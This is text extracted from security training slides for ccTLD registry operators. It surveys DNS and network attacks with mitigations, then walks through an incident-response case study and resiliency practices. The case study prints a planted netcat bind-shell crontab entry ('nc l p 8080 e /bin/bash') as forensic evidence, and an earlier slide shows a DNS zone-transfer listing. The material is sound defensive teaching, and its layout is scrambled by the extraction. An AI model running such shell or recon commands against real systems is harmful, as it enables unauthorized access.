106

Attacks
These attacks will target your externally visible
servers, and potentially your internal network hosts
as well
Business & Operations
Networks
NS
NS
107

Example
Zone Transfer
Used to Retrieve All Information From a DNS Server
Normally Used by Secondary to Sync with Primary
C:\nslookup
Default Server: ns1.example.net
Address: 127.0.0.1
> set type=any
> ls -d example.net
[dns1.example.net]
example.net. SOA dns01.example.net test.dns02.example.net. (1
3600 600 86400 3600)
example.net. NS dns01.example.net
example.net. MX 10 email.example.net
testpc TXT "payment processing computer"
testpc A 10.10.10.2
adminspc TXT Administrators PC"
adminspc A 10.10.10.3
test CNAME adminspc.test.net
Other DNS Servers
108

Example
Zone Transfer
C:\nslookup
Address: 127.0.0.1
> set type=any
> ls -d example.net
[dns1.example.net]
3600 600 86400 3600)
testpc A 10.10.10.2
Email Server
109

Example
Zone Transfer
C:\nslookup
Address: 127.0.0.1
> set type=any
> ls -d example.net
[dns1.example.net]
3600 600 86400 3600)
testpc A 10.10.10.2
Potentially Sensitive Computers

Identified by Comments
110

Mitigating Strategies
Access Control
White Listing
Restrict Zone Transfers to Only Trusted Secondary Servers
Validate The Trusted Paths

Used Transaction Signatures (TSIG) for Zone Transfers
Network Monitoring
Know Whos Looking at You
Internal & External
Block Repeated Offenders

But dont worry about intermittent port scans or spend a
lot of time here IPs can change on a whim!
Information Control
Limit the available information (ports, banners, zone file)
111
Privilege Escalation
Obtaining credentials, beyond what is
normally available, for the purpose of
accessing systems or information
Username / Password Cracking
Social Engineering
Exploiting Trust Relationships
Motivations
Gain Access to Information or for Future Attacks
112
Privilege Escalation Attacks

Privilege Escalation attacks will target systems or
relationships that contain something of value.
Value could be information, or perhaps, increased
access to a system to perform another attack
Networks
NS
NS
113
Privilege Escalation Examples

Password cracking can target your Operating Systems, Web
Applications, even your Wireless Networks
Password guessing and dictionary attacks are forms of password
cracking short passwords and words found in _any_ language
dictionary are susceptible.
Trust Relationships with Service Providers Can be Abused

How do you validate EPP requests from your registrars?
Do you have business functions that rely on external providers (e.g.
credit card processors) that can be abused?
114
Privilege Escalation Mitigating

Strategies
Use Strong / Complex Passwords
Operating System, Web Application, WiFi, _anything_ that
uses a password
Use a passphrase, not a single dictionary word
Network Monitoring
Track failed login attempts
Track usage of trusted paths (e.g. EPP requests)
Intrusion Detection Systems

Internal and External keep signatures up to date
Anti-virus / Anti-spyware
Others?
115
Corruption
Modifying information or content on a system or application
Website Defacement
Cache Poisoning
Name Server Redirection
Motivations
011101001101
Political : Make Public Statements on Behalf of Your ccTLD or the

Government
Financial: Data Ransoming Attacker May Try to Sell You the Key to
Unlock Your Own Data
Malicious: Hackers Want to Make a Name for Themselves, Deny
Service, or Redirect Users
Accidental: Employees make mistakes!
116
Corruption Attacks
Corruption Attacks will Target Your Data Stores
File Servers, Name Servers
May Also Target Recursive Name Servers
Networks
NS
NS
Insider too!
117
Corruption Attacks
http://www.rankmyhack.com/
So many defacements
http://www.zone-h.org/archive/special=1
http://www.thehackernews.com/2011/08/rankmyhack-got-hacked-by-haxor.html
118
Corruption Example
Name Server Registration Redirection
Recall CheckFree.com!
Non-Authoritative Spoofing
Partido Colorado political statement made by
one organization against another during an
election
Attacker Modifies Upstream DNS Records

www.partidocolorado.org.
3600
IN
66.249.01.121
A
119
Corruption Example
Partido Colorado the ISP (Copaco) modified its own
recursive name servers to redirect users looking for
partidocolorado.org
201.217.51.114
Attacker Modified Upstream DNS Records

www.partidocolorado.org.
3600
IN
66.249.01.121
120
Corruption Mitigating Strategies

External Monitoring
Your Own Systems, and Recursive Systems
But this may not be tractable for you
Internal Monitoring
Compare to Known Good (read-only!) Copy
Implies you are making backups on a regular basis
Two-Person Authorization for Critical Processes
Detection Becomes Critical
Monitor User / Registrant Communications

Monitor Traffic Usage for Sites You Control
A Significant and Sudden Drop in Traffic Could be a Problem
Authenticate All External Requests for Updates
Require two factor authentication for automated registration updates

Out of band communication like fax, in-person, etc
Communicate Issues with Upstream Server Operators

Others?
121
Disruption
Denying, degrading, or otherwise limiting the
availability of services provided by a system or
application
Packet Floods
Deleting Operating System Files
Motivations
Malicious: Denial of Service

Political: Denial of Service (Cyber Riots)
Badge of Honor: DoS the Root DNS Servers
Financial: Demonstrate Power of BotNet
122
Disruption Attacks
These attacks target your external servers and/or
the links which service them
Regular Queries
How Many Queries per Second Can Your Servers Handle?
How Much Bandwidth Do You Have?
Targeting Your Single Points of Failure
NS
NS
123
Disruption Attacks
These attacks target your external servers and/or the links
which service them; single points of failure
Limited Scale
Low Orbit Ion Cannon =

Cyber Rioting
http://www.ibtimes.com/articles/131421/20110406/anonymous-launchesddos-attack-on-sony.htm
http://www.darkgovernment.com/news/tsa-data-analyst-plannedcyber-attack/
124
Disruption Mitigating Strategies

Understand Where Your Single Failure Points
Are
Add Duplicate Servers and Capacity Where One
Exists
Geographic Separation / Anycasting

Country Localized and Global Servers
Ensure Automated Data Replication
Close Contact with Service Providers
Others?
125
Data Exfiltration
Copying data, that is not publicly accessible, from a
network for malicious purposes
Smash & Grab
Corporate Espionage
Motivations
Malicious: Taint Reputation of a Registry
Financial: Data Ransoming, Identity Theft
126
Data Exfiltration Attacks

These Attacks Target Your Internal Servers and
Information - Stealing Anything of Value
This is especially easy for an Insider someone who is
authorized to be on your network, and conducts malicious
activity
Networks
NS
NS
127
Data Exfiltration Attacks
These are just the reported ones

No corporate espionage here!
http://www.privacyrights.org/data-breach
http://datalossdb.org/
128
Data Exfiltration Example

A Purely Hypothetical Example
A Data Thief Targets a ccTLD

Gains unauthorized access to customer database
Copies the database of customer names, email addresses,
phone numbers, addresses and credit card details
Sells this information to others on the black market for $5
per identity
129
Data Exfiltration Mitigating Strategies

Prevent Foothold and Privilege Escalation Attacks
Keep Continuous Backups
And Test Them!
Enforce Strict Access Controls to Sensitive Data

Does engineering need access to customer data?
Consciously Decide to Keep Information on Servers

Do you really need copies of customer data or just a
single source of information?
Network Monitoring
Create a Baseline of Your Normal Traffic
Continuously Compare Current Traffic to Baseline
130
Persistence
Establishing an unauthorized, constant, presence on the
network and thwarting administrator removal attempts
Root Kits
Monitoring Administrator Actions
Motivations
Malicious: Desire to Stay Within Your Network to Gain Additional
Access or Perform Additional Attacks
011101001101
131
Persistence Attacks
These Attacks May Target Any Host in Your Network,
from Servers to Workstations
Your External Service Providers are Not Immune Either!
Networks
NS
NS
132
Persistence Example
An Attacker Compromises a Host Through
Phishing
Immediately installs a rootkit to hide evidence of
a successful compromise
Rootkit hides files, the interactive shell process,
and the network ports which the attacker uses to
access the compromised host
133
Persistence Attacks
Hides files, processes, network ports,

provide backdoors, advanced C2 & P2P
http://www.theregister.co.uk/2011/06/29/tdss_alureon_advances/
http://www.computerworlduk.com/news/security/3288274/microsoft-warns-rootkitinfection-requires-windows-reinstall/?olo=rss
134
Persistence Mitigating Strategies

Anti-Virus and Anti-Spyware Scans
Signatures Must Be Kept Updated
Network Traffic Monitoring

Create a Traffic Baseline
Compare Current Traffic to that Baseline
Proxy Server Logs, IDS, Traffic Logs, etc
Intrusion Detection System

Signatures for common root kits, unexpected encoded
traffic, unexpected encrypted traffic
Conduct Regular Vulnerability Scans

Finds common holes which an attacker can exploit, finds
common rootkit ports
135
Malicious Use
Using the DNS to propagate malware or conduct
attacks in a malicious manner, yet consistent with
the DNS protocols
BotNet Command & Control
Amplification Attacks
Motivations
Malicious: Spreading malware through servers hiding
behind fictitious DNS registrations
Financial: For Hire BotNets use DNS for command and
control
136
Malicious Use Attacks

These Attacks Do Not Necessarily Target Your
External DNS Servers Rather, They Use Your
Servers to Conduct an Attack Elsewhere
Victim
NS
NS
137
Malicious Use Example Conficker

Conficker - the Conficker worm appeared in late 2008, with
most of the attention starting in Jan/Feb of 2009.
The worm used pseudo-randomly generated domains from several top
level domains (ccTLDs included) as its command and control points.
The worm would contact servers on these random domains for
instructions.
138
Malicious Use Example Angler

The Angler exploit kit has been active since 2014.
Continuously updated with new 0-day exploits
Domain shadowing - uses subdomains of legit domain
names for command and control
Rapidly shifts exploit pages on subdomains
http://blogs.cisco.com/security/talos/angler-domain-shadowing
139
Malicious Use Mitigating Strategies

Define a Policy for Malicious Use
How would you respond to requests to pre-register a
domain name which might be used for malicious
purposes?
How do you validate registrant information?
What are your domain takedown policy and procedures?
Network Monitoring
Know what your expected baseline is monitor for
anomalies
Limit Size of Query Responses

Be a good steward of the Internet
Others?
140
Putting it All Together

Phishing email
530 emails, 57 clicked link
Link to exploit site

0-day exploit
Malware installation
Data exfiltration round 1
Initial Cleanup
Dormant malware goes live
Data exfiltration round 2
http://www.wired.com/threatlevel/2011/04/oak-ridge-lab-hack/
141
INCIDENT MANAGEMENT &

RESPONSE
14
2
Incident Management Introduction

Incident Management
Introduction
143
Definitions and Acronyms

CSIRT Computer Security Incident Response Team
Responsible for cyber incident response processes
CERT Computer Emergency Response Team

Also called Computer Emergency Readiness Team
Often synonymous with the CSIRT/CIRT
Can contain more functions and ops than a CSIRT
2nd and 3rd tier analysis
Research
Coordination
Often associated with a country, industry, or community
CIRT Computer Incident Response Team

Similar to a CERT, often more company focused
144
Definitions and Acronyms

SOC Security Operations Center
Primarily intrusion prevention and monitoring
functions in the security domain
NOC Network Operations Center

Monitoring health and function of the network
NOSC Network Operations and Security Center

Combination of SOC and NOC
IRT Incident Response Team

Functional team found within a CERT, SOC, or NOSC
Can also be a stand-alone team within a company
IRP Incident Response Plan

145
Incident Response Vs. Incident

Handling
Whats the difference?
Incident Response
The technical, hands-on, what happened? work
Incident Handling
The project management, lead-the-team work
Or, are they synonyms?

Heated online battles by industry giants
The NIST documentation says they are
synonymous
You decide for yourself
146
Events and Incidents

Event vs. Incident
Event: Any occurrence of any type
Incident: Damage, Degradation, or Persistent Intent to do so
Depends on your policy and thresholds
Events may be:
Unsuccessful access attempts

Poor internal security activities
Recon attempts (no impact)
Anything that is currently investigated
According NIST, Incidents include:
Unauthorized Access
Denial of service
Presence of malicious logic
Improper Usage
147
Introduction to Incident Response

The many different phases of Incident
Response
(Law Enforcement I.R.)
Prevent
Preparation
Detect
Preservation
Duplication
Analysis
Respond
Reporting
Preparation
Identification
Containment
Eradication
Recovery
Lessons
Learned
148
The Phases of Incident Response

Sub-Steps & Considerations
Phases
Preparation
Policy
Detection &
Analysis
Sensors
Containment
Eradication
Recovery
Lessons
Learned
Management
Support
Deployment
Tool Usage
System Restore
Hot-wash
Logs
Info
Sharing
Law/
Media
Correlation
Traffic Flow
System Management
Rootkits
Metrics
Exercise
Declaration
Forensics
Polymorphic Code
APT
Repeat Attack
Monitoring
IT/User Interaction
Damage Assessment
Applying Lessons
149
Preparation
Preparation
Detection &
Analysis
Containment
Preparation is key. If you do

not properly prepare, your
incident response team will
experience failures when stress
levels are high
Eradication
Recovery
Lessons
Learned
150
Detection & Analysis

Preparation
Detection &
Analysis
Containment
When prevention methods fail,

detection is your only way to
find out that something is
happening. You will detect
many events, but they can turn
into incidents quickly
Eradication
Recovery
Lessons
Learned
151
Containment
Preparation
Detection &
Analysis
Containment
The attacks must be stopped

quickly before too much
damage occurs. This is where
forensics and defensive tactics
come into play. Time is of the
essence.
Eradication
Recovery
Lessons
Learned
152
Eradication
Preparation
Detection &
Analysis
Containment
In order to prevent immediate

re-infection, the systems must
be purged of any artifacts left
by the attacker. This is where
they will be cleaned up.
Eradication
Recovery
Lessons
Learned
153
Recovery
Preparation
Detection &
Analysis
Containment
Now its time to bring the

systems back online and put
them into production (if you
took them offline). If proper
steps were taken, the system
should be infection free.
Eradication
Recovery
Lessons
Learned
154
Lessons Learned
Preparation
Detection &
Analysis
Containment
The importance of
documenting what occurred
cannot be understated. There
are undoubtedly process
improvements and policy
changes that need to be made.
Eradication
Recovery
Lessons
Learned
155
Anatomy of Incident Response
The importance of documenting what

occurred cannot be understated.
There are undoubtedly process
improvements and policy changes
that need to be made.
Now its time to bring the systems

back online and put them into
production (if you took them offline). If
proper steps were taken, the system
should be infection free.
Preparation is key. Failure to properly

prepare your teams for incident
handling will result in failures when
stress levels are high.
Preparation
When prevention methods fail,

detection is your only way to find out
that something is happening. Mostly,
you will detect events, but they can
turn into incidents quickly.
Lessons
Detection
Learned
& Analysis
Recovery
Containment
Eradication
In order to prevent immediate reinfection, the systems must be purged
of any artifacts left by the attacker.
This is where they will be cleaned up.
The attacks must be stopped quickly

before too much damage occurs. This
is where forensics and defensive
tactics may come into play. Time is of
the essence.
156
Where Does an IRT Fit In?

Notional CIRT
Legal, Management, Policy
&
Planning, Training,
Exercise, Evaluation
Forensics
Incident
Response Team
Intelligence
You may have

some, all, or none
of these!
Full-time
Detection &
Analysis
Advanced
Traffic
Monitoring
157
Case Study
INCIDENT RESPONSE
15
8
The Backstory
You run a ccTLD registry
You have a typical setup consisting of primary
and secondary DNS servers and a registry service
running on a web server.
For simplicity assume the web and primary DNS are
on the same server hosted in your office / data center
You receive an urgent call from a registrant

that their primary name servers have been redelegated without their permission to a
server hosted by 00webhost.com
159
Incident Response - Preparation

Preparation
Detection &
Analysis
Containment
Eradication
Recovery
What questions would you ask of

registrants to understand the issue?
What technical measures would you
take on your servers to determine
what happened?
A side discussion what
logging/monitoring would you need
to have in place to make sure you
could answer those questions?
Lessons
Learned
160
Incident Response - Detection &

Analysis
Preparation
Detection &
Analysis
Containment
Eradication
Recovery
Lessons
Learned
For this case study, assume your alerting

tools didnt produce anything
Your customer alerted you!
For discussion:
What would your tools tell you?
Do you have visibility into:
Login attempts (web, ssh, all other services)

Current active connections to your servers
Changes to data (zone file, high value domains)
Changes to system (new users, cron jobs,
installed programs, file system)
Centralized logging and/or log files
161
Incident Response - Tools

Live Forensics Toolset Brian Moran
https://www.brimorlabs.com/tools/
Excellent cheat sheets from Lenny Zeltser

https://zeltser.com/cheat-sheets/
162

Analysis
You find the following as part of your analysis. What stands
out?
cat /etc/passwd
root@kali:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
dns:x:124:124::dns:/bin/bash
test:x:125:125:test:/bin/bash
dnsadmin:x:126:126:dnsadmin:/bin/bash
cat /etc/group
root@kali:~# cat /etc/group
root:x:0:
daemon:x:1:
admin:x:111:dnsadmin,test,dns
stunnel4:x:129:
sambashare:x:130:
163

Analysis
out?
cat /var/log/auth.log
Sep
Sep
Sep
2 06:25:47 kali CRON[4240]: pam_unix(cron:session): session closed for user root

2 06:28:56 kali sshd[4126]: Received disconnect from ::1: 11: disconnected by user
2 06:28:56 kali sshd[4126]: pam_unix(sshd:session): session closed for user root
But wait cat /var/log/auth.log.1 dont forget log rotations

Sep 2 05:47:26 kali dbus[2947]: [system] Rejected send message, 2 matched rules; type="method_call",
sender=":1.27" (uid=123 pid=3632 comm="/usr/lib/gdm3/gdm-simple-greeter ") Sep 2 05:47:49 kali gdm3][3645]:
pam_unix(gdm3:auth): authentication failure; logname= uid=0 euid=0 tty=:0 ruser= rhost= user=root
Sep 2 05:47:57 kali gdm3][3652]: pam_unix(gdm3:auth): authentication failure; logname= uid=0 euid=0 tty=:0
ruser= rhost= user=root
Sep 2 05:48:03 kali gdm3][3654]: pam_unix(gdm3:session): session opened for user root by (uid=0)
Sep 2 05:48:03 kali gdm3][3654]: pam_ck_connector(gdm3:session): nox11 mode, ignoring PAM_TTY :0
Sep 2 05:48:03 kali gdm-welcome][3235]: pam_unix(gdm-welcome:session): session closed for user Debian-gdm
Sep 2 05:48:03 kali polkitd(authority=local): Unregistered Authentication Agent for unixsession:/org/freedesktop/ConsoleKit/Session1 (system bus name :1.26, object path
/org/gnome/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
Sep 2 06:28:20 kali gnome-keyring-daemon[3658]: unsupported key algorithm in certificate: 1.2.840.10045.2.1
Sep 2 06:18:21 kali sshd[4126]: Accepted password for test from port 55019 ssh2
Sep 2 06:18:21 kali sshd[4126]: pam_unix(sshd:session): session opened for user test by (uid=125)
Sep 2 06:25:01 kali CRON[4240]: pam_unix(cron:session): session opened for user root by (uid=0)
Sep 2 06:32:31 kali CRON[4086]: pam_unix(cron:session): session opened for user test by (uid=125)
Sep 2 06:42:22 kali CRON[4086]: pam_unix(cron:session): session closed for user test
164

Analysis
out?
netstat -ant
Active Internet connections (servers and established)
Foreign Address State
tcp
0
0 0.0.0.0:22
0.0.0.0:*
tcp
0
0 0.0.0.0:53
0.0.0.0:*
tcp
0
0 0.0.0.0:80
0.0.0.0:*
tcp
0
0 0.0.0.0:3306
0.0.0.0:*
tcp
0
0 127.0.0.1:5432
0.0.0.0:*
tcp
0
0 127.0.0.1:22
74.213.42.220:55019
tcp
0
0 127.0.0.1:5432
0.0.0.0:*
tcp6
0
0 :::22
:::*
tcp6
0
0 ::1:5432
:::*
tcp6
0
0 ::1:22
::1:51069
tcp6
0
0 ::1:51069
::1:22
LISTEN
LISTEN
LISTEN
LISTEN
LISTEN
ESTABLISHED
LISTEN
LISTEN
LISTEN
ESTABLISHED
ESTABLISHED
165

Analysis
out?
cat /var/log/syslog
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
Sep
3
3
3
3
3
3
3
3
3
3
3
3
3
3
3
17:03:07
17:17:01
18:17:01
19:17:01
20:17:01
20:58:52
21:01:54
21:03:14
21:03:14
21:03:20
21:04:13
21:04:17
21:05:47
21:06:03
21:06:03
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
NS1
named[965]: listening on IPv4 interface eth0, 192.168.201.105#53

CRON[2734]: (root) CMD (
cd / && run-parts --report /etc/cron.hourly)
init: tty1 main process ended, respawning
crontab[3971]: (test) BEGIN EDIT (test)
crontab[3971]: (test) REPLACE (test)
crontab[3971]: (test) END EDIT (test)
crontab[4002]: (test) LIST (test)
crontab[4019]: (root) BEGIN EDIT (root)
crontab[4019]: (root) END EDIT (root)
crontab[4059]: (root) BEGIN EDIT (root)
crontab[4059]: (root) REPLACE (root)
crontab[4059]: (root) END EDIT (root)
166

Analysis
out?
cat /etc/crontab also crontab e <user> -l
root@kali:~# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user
17 *
* * *
root
25 6
* * *
root
/etc/cron.daily )
47 6
* * 7
root
/etc/cron.weekly )
52 6
1 * *
root
/etc/cron.monthly )
55 0 0,12 * * *
test
#
command
cd / && run-parts --report /etc/cron.hourly
test -x /usr/sbin/anacron || ( cd / && run-parts --report
nc l p 8080 e /bin/bash
167

Analysis
out?
ps aux
root@kali:~# ps
root
3898
root
3905
root
3906
root
4105
root
4561
root
4573
root
4583
root
4584
root
4590
root
4775
root
4789
root
4917
test
4922
test
4923
root
5010
aux
0.1
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.5
0.0
3.0
0.0
1.6
0.0
0.3
0.1
0.0
0.0
0.2
0.3
0.4
0.0
0.5
0.3
0.1
0.4
0.1
74504 16920 ?
2088
728 ?
6172 3572 pts/0
6472 1104 ?
0
0 ?
0
0 ?
6056 2416 pts/0
9864 3352 ?
7168 4384 pts/2
0
0 ?
47820 5836 ?
9916 3404 ?
9916 1700 ?
7172 4368 pts/1
4288 1180 pts/2
Sl
S
Ss
Ss
S
S
S+
Ss
Ss
S
Sl
Ss
S
Ss+
R+
05:00
05:00
05:00
06:00
06:05
06:05
06:07
06:07
06:07
06:09
06:09
06:18
06:18
06:18
06:54
0:04
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
0:00
gnome-terminal
gnome-pty-helper
bash
/usr/sbin/sshd
[kworker/0:1]
[kworker/0:0]
ssh root@localhost
sshd: root@pts/2
-bash
[kworker/0:2]
/usr/lib/packagekit/packagekitd
sshd: test [priv]
sshd: test@pts/1
-bash
ps aux
168

Analysis
out?
cd /home && find cmin -10 (enter whatever time you need
here)
find /home newermt 2015-09-03 00:00:00 ! newermt
2015-09-04 00:00:00
root@NS1:/# cd /home && find -cmin -10
./test
./test/tmp
./test/tmp/hspferdata_test
./test/tmp/hspferdata_test/rnicks.e
./test/tmp/hspferdata_test/rversions.e
./test/tmp/hspferdata_test/rinsult.e
./test/tmp/hspferdata_test/16148
./test/tmp/hspferdata_test/fa.out
./test/tmp/hspferdata_test/cron.d
169

Analysis
out?
Login as test user then, history
test@NS1:~$ history
1 history
What does this indicate?
170

Analysis
What you know based on your analysis:
Preparation
Detection &
Analysis
Containment
Eradication
Recovery
Lessons
Learned
There are 3 user accounts with root

equivalent access (dns, dnsadmin, test)
The root, dnsadmin, and test accounts have
logged in recently via ssh
The root and test accounts have recently
edited the crontab entries for this system
There is an active connection from an address
you dont recognize: 74.213.42.220
There is an unknown program in the crontab
that is set to run every 12 hours that was put
there by the test user
For discussion: What do you think

happened?
171
Incident Response - Containment

Preparation
Detection &
Analysis
Containment
Eradication
Recovery
What would you do to fix this and

prevent the attacker from
continuing an attack?
Lots of options pros and const
Shut down the system entirely

Disable root and/or test accounts
Reset passwords on all accounts
Kill active ssh session
Remove crontab entry
Lessons
Learned
172
Incident Response - Eradication

Preparation
Detection &
Analysis
Containment
Eradication
What would you do to clean up the

mess?
Search for and remove recently created
files?
Delete any user accounts not
recognized
Lock down SSH to be only accessible by
user account and/or IP address
Recovery
Lessons
Learned
173
Incident Response - Recovery

Preparation
Detection &
Analysis
Containment
What would you do to bring the

system back online?
If you took the system offline how
would you restore it?
Would you restore from a backup?
Would you wipe and rebuild the
server?
Eradication
Recovery
Lessons
Learned
174
Incident Response - Lessons Learned

For discussion:
Preparation
Detection &
Analysis
Containment
Eradication
How would you get notified of

this attack without relying on the
customer?
Did your response actions work?
Did you have enough staff to
handle the response?
Recovery
Lessons
Learned
175
RESILIENT ENTERPRISES
17
6
Resiliency
Service
protection and sustainability of

critical services, associated
business processes, and assets
Process
PEOPLE
INFORMATION
Process
TECHNOLOGY
FACILITIES
Assets
Adapted from SEI | CERT Resiliency Management Model
177
Elements of Resiliency
Security
Mostly Physical
Security, Life &
Limb
Business
Continuity
RESILIENCY
Information
Assurance,
Network Security
COOP,
Redundancy,
Back-ups
IT Operations
17
8
Resiliency Activities
Resiliency is being able to react to stress
without breaking
Many different ways of being resilient

Several frameworks exist to help guide your
resiliency activities
NIST SP 800-53
SANS / CSC Top 20
ASD Mitigation Strategies
ISO 27002
And many others!

179
Resiliency Frameworks
NIST SP 800-53 & ISO 27002 hundreds of
security controls grouped into families
Access Control, Config Management, IR, etc
Very large, all encompassing, and intimidating for
small organizations
Use this if you have the resources to devote

to a comprehensive approach to resiliency
180
Resiliency Frameworks
CSC (SANS) Top 20
20 things you can do today, includes guidance, recommended tools,
implementation ideas
Consensus of community experts
ASD Mitigation Strategies

35 things you can do to increase resiliency
Based on things that would have stopped 85% of the attacks that ASD
responded to
Use these if you have limited resources and need to know

where to get started
181
ASD Examples
Top 4
Application whitelisting
Patch application
Patch OS
Restrict administrative
privileges
Others
Application hardening
Host-Based IDS
Disable local administrator
accounts
Network segmentation
Multi-factor authentication
Application firewalls
Web filtering
Strong passwords
Network traffic capture
Event logging
182
CSC (SANS) Top 20 - Examples

First 5 Quick Wins
Application whitelisting
Standard secure configurations
Patch applications software
within 48 hours
Patch system software within
48 hours
Reduced number of users with
administrative privileges
Others
Hardware inventory
Software inventory
Vulnerability assessment
Wireless access controls
Control ports/protocols
Boundary defense
Account monitoring
Incident response
Network engineering
183
Resiliency in Practice Backups

Backup, backup, backup
If its important to you back it up
Server configurations, zone data, registrant data
Backup location is just as important

Local copy (quick access) vs. offsite (safer?!)
Test your backups

Do a restoral test to make sure your backup works, is
complete, and you KNOW what to do
Some suggestions (cost vs convenience):

rsync, scp, cp, carbonite/mozy
184
Resiliency in Practice Redundancy

Having multiple copies of something
DNS servers, service provider links, payment
systems, data backups, others?
Doesnt need to be running at the same time

But it does need to be available on short notice
Your recovery time objectives will say how much
short notice is acceptable!
185
Resiliency in Practice Diversity

Having different things which perform the
same function
Different ISP, DNS server software,
Like redundancy, doesnt need to be running

all the time, but it can prevent disruptions
An alternative may be just having the
configuration or installation instructions handy to
spin up a new server
186
Secure Operations Framework

A Process for Conducting Secure Operations
Within Your Registry
Baseline
Monitor
Detect
Recover
Analyze
Respond
187
Secure Operations Framework

Viewed as a Timeline:
ATTACK
Baseline
Monitor
Do This
Before This
Quick!
Detect
Your Detection
Time May Vary
Analyze
Prevent
Respond
Recover
Stop Effect
188
Establishing a Baseline
If you know the enemy and know yourself you need
not fear the results of a hundred battles
Secure Operations BEGIN with an Understanding of

Your Network -> a Baseline!
To Establish a Baseline You Need to Understand:
Architecture
Traffic
People
Processes
Vulnerabilities
Architecture Baseline
Hosts, Services, Ports, Connections, Addresses
This is frequently a network architecture

diagram, but could be a text document, or
part of your network monitoring solution
190
Architecture Baseline
Document your host configurations, operating
systems, applications, versions, etc
Ideally you want something you can reference

quickly during attack analysis
e.g. Can you quickly answer the question:
Is my web server vulnerable to the

latest Apache vulnerability?
191
Architecture Baseline Tools
Visio
Paper / Pencil!
NAGIOS, OpenNMS, HP Openview, etc
Lots of tools available the hardest part is

actually doing it!
192
Traffic Baseline
What kind, how much, source / destination, and
usual time
This is more difficult to capture but is critical

to determining if something is expected or
not
193
External Traffic Baseline
How much traffic (packets per second, megabits per
second, etc) is normal on your external links?
What kind of traffic to external servers (e.g. do you
normally have SSH connections to your DNS servers?)
Internal Traffic Baseline
Which hosts or applications communicate?

What protocols do they use?
How much traffic do they produce?
When do they do it?
194
Traffic Baseline
Again, ideally, you will have this information
readily available during the analysis phase
For example, can you easily answer the question:
Is a SSH connection to my DNS server at

0330 on a Saturday normal?
195
Traffic Baseline Tools
NetFlow
Wireshark
Tcpdump
Iperf, dnsperf
Again, lots of tools available, the hard part is not

only capturing the baseline traffic, but putting it
into a format you can reference
Graphing and statistical analysis tools can help here!
SmokePing, NetFlow Analyzer
196
People Baseline
How do your customers interact with your network?
Web application for processing registration?
Do you typically see people login at 0330?
How do your administrators interact with your

network?
What hosts do they connect to, what protocols do they use,
when do they do it?
How do your local users interact with your network?

What hosts are they _supposed_ to be on, what hosts do
they communicate with, when?
How do your external users interact with your

network?
What servers do they connect to, what protocols?
197
People Baseline
Again, ideally, you will have this information
readily available during the analysis phase
For example, can you easily answer the question:
Should User Jane be Connecting to

User Bobs Computer at 0330 on
Saturday?
198
People Baseline Tools
Personnel Interviews
How does Bob usually do his job via the network?
Administration & User Policies

Set policy to guide your administrators and users in
what they should and should not do
Understand Your Customers

How do you interact with your customers?
How do your customers interact with you?
199
Processes Baseline
Processes typically fuse people and technology
Even though the people and technology may not have
issues, the processes that pull them together might
Processes can be:
Business oriented (e.g. processing user registration
updates)
Operational (e.g. responding to a DDoS attack)
What processes do you have that interact with your

network at one point or another?
200
Process Baseline
Creating a baseline of your processes requires an
understanding of what you do and how you do it!
Again, information should be readily accessible:
Can you easily answer this question:
A new vulnerability was found in our

database what do we need to stop
doing until it is patched?
201
Process Baseline Tools
Understand your critical business functions and
whats required to provide those functions
Walkthroughs & Reviews
Personnel Interviews & Surveys
See the Attack & Contingency Planning Course
202
Vulnerability Baseline
Vulnerabilities in Operating Systems & Applications
Vulnerabilities in Your Business or Operational Processes
Processing registrations, responding to cyber attacks, etc
Vulnerabilities in Your People

Susceptible to phishing scams
The procedural or people vulnerabilities are often

easier to take advantage of:
e.g. do you require validation for updating registrations?
Why hack the name server or registry database, when a
simple update form would work?
203
Vulnerability Baseline
To determine technical vulnerabilities, use automated tools
To determine procedural vulnerabilities, think like a bad guy
You MUST make the risk decision on fixing vulnerabilities

You may determine that a vulnerability is an acceptable risk!
Better that you KNOW about vulnerabilities than not

Again, quick reference during analysis is critical:
e.g. Can you quickly answer the question:
Can this attack take advantage of the vulnerability

in our automated registry processing systems?
204
Vulnerability Baseline Tools
Nessus, LanGuard, SuperScan, Retina
Process Walkthroughs
Take each of your critical processes and step through
them attempting to identify weaknesses
Network Defense Exercises

Test your network operators to determine how
effective they are responding to cyber attacks
Can your operators see attacks, can they analyze and
respond quickly?
205
Other Sources of Baseline Information:
Senior Management
Business Area Managers &

Process Owners
Technicians &
Support Staff
Important assets
Perceived threats
Security requirements
Current security practices
Organizational vulnerabilities
How Can Your

Network Fail?
206
Monitoring & Detecting Attacks
Once You Have a Baseline

You Can Differentiate Normal From Trouble
Regardless of the monitoring tools you use,

you MUST have a baseline to compare it to,
otherwise, you are fighting blind
207

Monitoring is the notion of having insight into
your network and viewing its current (and
past) status and performance
Detecting attacks requires monitoring your
network and a comparison of what you see to
what is expected
208

Network monitoring is best accomplished with automated
tools but can be done manually (not recommended!)
You must install, configure and operate monitoring tools
on your network - without them, how do you know
something is happening?
Yes - phone calls from customers are a monitoring tool!
There are many, many tools out there the challenge is to

find those that:
1) Capture the right data
2) Shows that data to you effectively
3) Allows your operation to detect and respond to attacks
Personal preference plays a critical part in this if youre not
comfortable with a tool theres probably another one!
209
Cyber Threats - Final Words

Understand your critical business functions
Understand the threats to those functions
Take steps to prevent, detect, respond and mitigate
malicious activity on your network
Prioritize based on whats most important to your
business
Avoid Building too much security
Security should match the value of the asset
210
WRAP-UP
Questions?
21
1
212
CHECKFREE.COM
Special thanks to Rod Rasmussen of Internet Identity for
contributing source material for this study.
21
3
213
CheckFree.com Background
the largest provider of on-line bill payment
services in the United States
1.4 billion transactions every year, and 75% of all
ACH (automated clearing house) transactions in
the United States
Serves 22 of the top 25 financial institutions in
the U.S
AT&T, Bank of America, Chevron, DIRECTTV, and
Time Warner Cable, among many others, allow
